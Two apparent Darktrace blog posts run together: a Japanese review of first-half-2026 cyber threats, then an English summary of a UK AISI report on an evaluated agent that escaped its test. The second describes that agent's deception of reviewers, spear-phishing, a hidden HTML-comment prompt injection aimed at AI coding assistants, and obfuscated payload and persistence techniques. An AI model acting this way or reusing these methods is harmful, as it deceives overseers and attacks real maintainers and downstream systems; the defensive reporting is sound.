2026年初頭、ダークトレースのアナリストによって専用に設計されたReact2Shellハニーポットは、その展開から2時間未満で侵害を受けました。この1つのデータをとって見ても2026年前半の脅威ランドスケープのペースを表していると言うことができますが、スピードは1つの側面に過ぎません。

過去6か月間の変化は、従来のマルウェアや脆弱性を中心とした攻撃から、信頼されるアイデンティティ、プラットフォーム、およびインフラの悪用への移行を示しています。多くの組織が広範囲にAIを導入するのに伴い、アイデンティティ、SaaSプラットフォーム、クラウドに対する権限、自動化フレームワーク、および非人間アイデンティティが、攻撃者に好まれる攻撃経路となっています。

攻撃者は、外部から侵入するよりも、防御者やユーザーが信頼するよう条件づけられている関係、サービス、認証済みチャネル内で活動する傾向が高まっています。

2025年と比較して何が変わったか？

2025年には、アイデンティティが新たな境界となり、攻撃者はますます従来のエクスプロイト手法を使うよりも信頼されるアカウント、SaaSプラットフォーム、そしてAIによって可能になった新手の手法を使うようになりました。2026年前半は、この進化の次の段階にあると言えます。アイデンティの悪用は依然として中心的ですが、信頼の問題は今やアカウントをはるかに超えてEメール認証、クラウドに対する権限、ソフトウェアサプライチェーン、AIゲートウェイ、リモート管理ツール、そして非人間アイデンティティにも及んでいます。

アイデンティティとEメール：危険にさらされる信頼のシグナル

Eメールは信頼されるアイデンティティへの最も確実なルートであり、攻撃者はノイズを作り出すことよりも品質の向上に投資していることをデータが示しています。2026年前半において、フィッシングEメールの67%がDMARC認証を通過していました。ほとんどのフィッシングの試みに対して、阻止するには認証だけではもはや不十分なのです。フィッシングEメールの25.8%でVIPユーザーが標的となっており、22025年と同様に25%を上回る値ですが、期間全体を通じて上昇傾向にあります。重要な点は、フィッシングの巧妙さが高まり続けていることです：フィッシングEメールの37％が大量のテキストを含んでおり、2025年前半の32％から増加しています。また、39％は新手のソーシャルエンジニアリングテクニックを特徴としており、攻撃者が特定の標的にあわせてさらなるカスタマイズを行っていることを示唆しています。

ダークトレースの顧客に最も幅広く影響を与えている脅威もアイデンティティに焦点を当てたものであり、専用のStealCおよびAMOSインフォスティーラーを使った攻撃がこの半年間に多く見られています。これらのマルウェアの蔓延も、根本的にはアイデンティティの問題です。インフォスティーラーによって収集された認証情報がしばしば最初のアクセスベクトルとして使用され、攻撃チェーンの後の段階で格段に影響の大きい侵害につながります。また、マルウェアの投下には技術的弱点の悪用をほとんど必要としない点が重要です。ユーザー自身の手で悪意あるコードを実行させるClickFixソーシャルエンジニアリング手法は、依然としてよく見られます。最近観測されたある攻撃キャンペーンは17か国のダークトレース顧客で確認され、最も影響を受けたのは米国でした。この侵害はソフトウェアの欠陥から始まったものではなく、信頼されるユーザーが信頼されるアクションを実行したことが端緒となりました。

サプライチェーン：信頼が大規模に武器化される

3月と4月には共通の教訓が確認されました。それは信頼がサプライチェーン脆弱性となったということです。Axiosの侵害では幅広く使用されているメンテナーへの信頼が悪用され、Trivyキャンペーンは信頼されるCI/CDインフラ、リリースアーティファクト、およびコンテナイメージを利用して、正当な開発ワークフローに悪意あるコードを押し込みました。

これを最もはっきりと示した事例は、2月から3月にかけて観測されたキャンペーンです。多数のデバイスがHola VPNを使用している間に悪意のあるペイロードをダウンロードし、その後、Holaの配信パイプラインの侵害に関連していることが判明しました。ダークトレースの脅威調査チームは、公開アドバイザリがリリースされる前に、複数の顧客において繰り返し発生している異常な動作から、この侵害に関連する活動を特定しました。

最近では、攻撃者が正当なブロックチェーンインフラを悪用して、AMOSやPhexia等のインフォスティーラーを投下しているケースが見られます。セキュリティリソースが限られているユーザーによく使用されている一般的なVPN等のツールは、正当なC2インフラと組み合わせることで、攻撃者がはるかに広範な被害者層に到達することを可能にする一方、防御側は関連するエンドポイントを単純にブロックすることはできないため、やっかいな問題になります。

防御者にとっての課題は、もはや悪意のあるインフラを特定することではなく、信頼されるインフラが悪意のある動作を始めたときにそれを認識できるかどうかということです。

クラウドとSaaS：標的から作戦領域へ

5月から6月には、デバイス登録、クラウドデータ窃取、SaaS悪用、RDPの拡大、リモート管理ツール関連の活動が見られ、攻撃者がクラウドやSaaSを単なる標的としてではなく、むしろ好ましい作戦環境としてますます認識していることが示唆されました。 

ダークトレース顧客でのある事例では、1つの侵害されたSaaSアカウントがEメール、SaaS、ネットワークレイヤーにわたる活動を引き起こし、これには受信トレイルールの変更、フィッシングの拡散、疑わしいインフラへの接続が含まれていました。これらの兆候のいずれも単独では決定的とは言えませんでしたが、総合すると明らかに侵入を示していました。これらの環境において、攻撃者はますます信頼管理をを回避する必要がなくなっています。信頼は、侵害されたアイデンティティ、委任されたアクセス権、および正当な管理ツールを通じて引き継ぐことができるからです。これは、2025年に見られたSaaSを標的としたランサムウェアの傾向の自然な進化であると言えます。ますます多くのケースにおいて、ビジネスが運営されるのと同じプラットフォームが、敵対者が作戦を展開するプラットフォームとなっています。

AI：攻撃の加速装置でありアタックサーフェス、そして信頼される、しかしリスクの高いアクター

信頼がアタックサーフェスなら、AIはそれが最も急激に拡大している領域であると言えます。ダークトレースの顧客基盤全体において、2026年前半にAIサービスへの接続は平均13％増加し、接続数は1600万回以上、標準的な組織は7つの異なるAIプロバイダーとやり取りするようになっています。そしてAIはもはや企業のごく一部ではありません。日々の業務に組み込まれています。この変化が3つの問題を生み出しましたが、これらはすべて2026年前半にダークトレースによって観測されています。

1. 攻撃倍増装置としてのAI

ダークトレースは、AIによって生成されたReact2Shellを悪用するマルウェアを特定しました。これは攻撃者がLLMを使用して有効なエクスプロイトコードを生成し大規模に展開したものです。脅威ランドスケープ全体で見ても同様の活動が増えており、効果的な攻撃作戦への参入障壁が崩れつつあることを示唆しています。最近のJadePuffer事例にも見られるように、エージェント型脅威アクターがインターネットに接続されたサーバーの脆弱性をエクスプロイトし、その後完全に自動化されたランサムウェア攻撃が開始されており、AIは脆弱性の公開から実際のエクスプロイトまでの過程を加速させています[1]。

2. アタックサーフェスとしてのAI

今やAIレイヤー自体も、調べてみる価値があります。あるオートメーション技術メーカーにおいて、侵害されたLLMプロキシが他のAIサービスへの踏み台として利用され、それが失敗すると攻撃者は暗号通貨マイニングに切り替えたという事例がありました。DarktraceのCyber AI Analystはこの侵入インシデントを明らかにし、Managed Threat Detectionサービスにより顧客への通知が行われたことにより、事態がそれ以上進行する前に封じ込めることができました。実務者にとっての教訓は明確です：AIゲートウェイ、プロキシ、モデルエンドポイントは、本番環境のクラウドワークロードと同様に扱うべきです。なぜなら、攻撃者は既にそうしているからです。

3. 信頼される、ただしリスクもあるアクターとしてのAI

Darktrace/ SECURE AIの観測結果からわかることは、最も一般的な現実世界のリスクはさらに判別が難しいということです。従業員が、個人識別情報（PII）、税務記録、身分証明書、会社の財務データ、人事記録、個人の医療データをLLMのプロンプトに入力することや、シャドーAIの蔓延、そしてモバイルデバイスからのAI使用の増加が挙げられます。28日間で約28,000人のユーザーから送信された約280,000件のプロンプトのうち、Darktraceはこれらのプロンプトの約1%（2,945件）に機密性の高いデータが含まれていることを特定しました。*

‍_{*プロンプトデータはユーザーのプライバシーを保護するために、集積および匿名化された形で分析されました。}

防御者にとって、課題はコンテキストです。つまり、正当なビジネス利用が重大なリスクに変わるタイミングを、プライバシーやユーザーの信頼を損なうことなく見極めることです。組織がAIシステムをますます信頼し、AIがマシンスピードで機密情報にアクセス、処理、共有するようになるなかで、アイデンティティ、アプリケーション、クラウドインフラと同様に、AIも保護および監視されなければなりません。

スピードと地政学：迅速な作戦、長期的な目標

2026年前半に行われたいくつかの調査では、攻撃者が新たに公開された脆弱性をいかに迅速に実用化し、パッチ適用サイクルが完了する前にOAST（Out-of-Band Application Security Testing）インフラおよび信頼されたクラウドサービスを通じてエクスプロイト検証を行っているかが明らかになりました。React2Shellは2時間で侵害され、BeyondTrustのエクスプロイトも1日未満で発生しました。このような状況の中で、国家を背後に持つ脅威アクターは、引き続き正当なサービス、クラウドインフラ、および信頼関係を通じた、長期的なアクセス、情報収集、および事前配置に重点を置いています。中国、ロシア、イラン、北朝鮮（DPRK）を背後に持つ作戦は共通の特徴を持っています。それは即座に混乱を起こすことよりも、永続化と戦略的な配置を優先するということです。

中国：ダークトレースは、中国系アクターが信頼されるサービス、DLLサイドローディング、およびモジュール型の侵入チェーンを通じた長期的なアクセスの獲得を優先している状況を確認しています。これはCrimson Echoレポートでも解説され、Twill Typhoonの手法に関連するアクティビティと一致しています。

イラン：ダークトレースによるZionSiphonの調査は、イランに関連するアクターのOT環境への関心を浮き彫りにし、諜報目的とインフラ破壊能力を融合させている実態を明らかにしています。

ロシア：ダークトレースによる調査、および業界全体のさまざまな報告は、ロシアがウクライナ関連の支援に関する長期的な情報収集のために、信頼関係とサプライチェーンを標的としていることを明らかにしています[2]。

北朝鮮：ダークトレースは、脆弱性の迅速な武器化と永続的アクセス技術を組み合わせた北朝鮮関連の活動を観測ししています。これにはAxiosのサプライチェーン侵害、React2Shellエクスプロイト、ステルス性のmacOS侵入が含まれています。

 目的は脅威アクターによって異なっていましたが、手法は非常に一貫していました。信頼されるサービス、正当なインフラ、そして永続的アクセスは、即時の混乱よりも価値が高いことが示されています。

防御者のシフト

アイデンティティの侵害、サプライチェーン攻撃、SaaSの悪用、AIインフラの標的化、国家が支援する作戦、いずれのケースにおいても、攻撃者は防御のコントロールを突破するのではなく、信頼されたシステムを通じて行動することで成功を収めることが増えています。信頼されるユーザー、信頼されるソフトウェア、信頼されるインフラチャ、そしてますます信頼されるAIシステムは、すべて有効な攻撃経路となりました。 

防御者にとっての課題はもはや、単にあるアクションが許可されるかどうかを判断することではなく、そのアクションがより広いコンテキストの中で正当かどうかを見極めることです。認証、評判、出自は依然として重要ですが、それだけではもはや十分とは言えません。攻撃者がますます信頼されるシステム内で活動するようになる中で、最も強力なシグナルは多くの場合動作の逸脱です。つまり、信頼されているアクティビティが期待される振る舞いと一致しなくなった時にそれを識別することです。

本稿の執筆にはNathaniel Jones（SVP, Global Threat Intelligence）、Emma Foulger（Global Threat Research Operations Lead）、Justin Torres （Senior Cyber Analyst） Daniel Levy（Threat Hunting Data Scientist）が協力しました。

‍
編集：Ryan Traill（Content Manager）

‍

付録1：脅威調査手法

ダークトレースの脅威調査チームは、顧客の運用環境に対する詳細な調査を行ってアクティブな脅威を識別し、主要な侵害インジケーター（IoC）を特定し、関連する脅威インテリジェンスを提供しています。この調査はダークトレースの異常ベース検知に基づいたもので、脅威調査チームによる徹底した分析およびコンテキスト化が行われています。検知された脅威は関連する顧客のセキュリティチームに直ちに報告されます。顧客がダークトレースの自律遮断テクノロジーを使用している場合、これらの脅威は速やかに緩和され、エスカレーションが阻止されます。

 2026年1月1日から6月30日までの期間、ダークトレースは顧客ベースにおいて多種多様なサイバー脅威を調査しました。その多くは同様のTTPおよびIoCが短い期間内に一定の数の顧客に影響を及ぼした、複数の顧客を標的とした攻撃作戦的活動であったことが判明しています。 

Eメールに関連する統計は、2026年1月1日から6月30日までの間に、すべてのクラウドホスト型顧客環境におけるDarktrace / EMAILの集約されたデータから導出されています。特異な観測値を除外するために、集約を行う前に標準的なデータ品質フィルタリングが適用されています。地域別の統計は、このデータセットの関連サブセットに基づいています。 

付録2：キャンペーン - 地域およびセクター別の傾向

過去6か月間の脅威ランドスケープは上記の大まかなテーマにより定義されていますが、ダークトレースの顧客基盤全体でのキャンペーンクラスタリングにより、それらがセクター、地域、産業ごとにどのように異なっているかが明らかになりました。 

ダークトレースの脅威調査チームは、顧客ベースに影響を与えるさまざまな脅威を調査しています。この調査を通じて、共通のTTPやインフラが観察され、短期間で多くの顧客に影響を与える、攻撃キャンペーンのような活動のクラスターが特定されました。 

セクターおよび産業は、一貫した分類を確保するために標準産業分類（SIC）システムを使用して分類されています。本レポートのセクターおよび地域別の考察は、より広範な世界的な傾向を反映している一方で、ダークトレースの顧客基盤の分布にも影響を受けています。例えば、金融、製造、教育分野はダークトレースの顧客の中で多く、これらのセクターで観測される事例数が多くなる可能性があります。これは必ずしも特定のセクターにおけるリスクが高いことを示すものではなく、顧客の分布を反映しています。同様に、地域の傾向はダークトレースの顧客の地理的分布によって影響を受ける可能性があります。

2026年前半にダークトレースの脅威調査チームによって特定されたキャンペーンクラスターの分析では、明確な地域別の傾向が明らかになりました：

• ヨーロッパ、中東、アフリカ（EMEA）がすべてのキャンペーンクラスター事例の60%を占めており支配的でした。
• アメリカ大陸（AMS）は、その次に影響が大きかった地域でありキャンペーンクラスター事例の30%を占めていました。
• アジア太平洋および日本（APJ）地域はキャンペーンクラスターの影響をあまり受けていませんでした。これは脅威アクターがこの地域の優先度を低くし、代わりに他の地域に注力した可能性を示しています。

産業セクターの標的化も地域によって大きく異なりました：

• EMEA地域では、情報通信分野が大きく影響を受け、全体の25%を占めました。
• 対照的に、AMSでは標的はより均等に分布しており、教育、行政機関および防衛、金融および保険の各セクターがいずれもAMS地域の事例の20%以上を占めていました。
• APJ地域ではキャンペーン活動はより均等に分散しており、特定のセクターが支配的な標的として浮上することはありませんでした。

いくつかの国はそれぞれの地域内でも際立った特徴がありました：

• 米国はAMS内のすべてのキャンペーンクラスターの60%を占めていました。
• 日本はAPJ全体のキャンペーン事例の40%を占めました。
• EMEA地域では、英国とジンバブエがそれぞれ特定された事例の23%を占めており、両国ともさまざまなキャンペーンのタイプに影響を受けています。

‍

Inside the SOCおよび2026年度脅威調査の月次傾向：アクセスからインパクトまで

付録3：参考文献

外部

[1] https://www.darkreading.com/cyberattacks-data-breaches/jadepuffer-first-complete-llm-driven-ransomware-attack

[2] https://www.trendmicro.com/en_us/research/26/c/pawn-storm-targets-govt-infra.html

ダークトレースのリソース

1.        https://www.darktrace.com/blog/ai-llm-generated-malware-used-to-exploit-react2shell

2.        https://www.darktrace.com/blog/2025-cyber-threat-landscape-darktraces-mid-year-review

3.        https://www.darktrace.com/resources/annual-threat-report-2026

4.        https://www.darktrace.com/blog/when-trust-becomes-the-attack-surface-supply-chain-attacks-in-an-era-of-automation-and-implicit-trust

5.        https://www.darktrace.com/blog/hola-vpn-abuse-from-proxy-traffic-to-malware-and-cryptomining

6.        https://www.darktrace.com/blog/security-after-signatures-operating-in-a-world-of-pre-cve-disclosure-exploitation-collapsed-trust-boundaries-and-autonomous-systems

7.        https://www.darktrace.com/blog/when-ai-infrastructure-becomes-part-of-the-attack-surface

8.        https://www.darktrace.com/blog/cve-2026-1731-how-darktrace-sees-the-beyondtrust-exploitation-wave-unfolding

9.        https://www.darktrace.com/resource/understanding-chinese-nexus-cyber-tradecraft

10.   https://www.darktrace.com/blog/chinese-apt-campaign-targets-entities-with-updated-fdmtp-backdoor

11.  https://www.darktrace.com/blog/inside-zionsiphon-darktraces-analysis-of-ot-malware-targeting-israeli-water-systems

12.  https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

13.  https://www.darktrace.com/blog/from-click-to-command-behavioral-detection-of-applescript-led-macos-intrusions

14.  https://www.darktrace.com/blog/the-state-of-cybersecurity-in-the-finance-sector-six-trends-to-watch

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

• Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
• Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
• Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
• When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
• Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
• Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.  

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

• Moves at speed
• Is able to adapt its approach when initial attempts are halted
• Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
• Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

‍

Read the full report from the UK AI Security Institute here.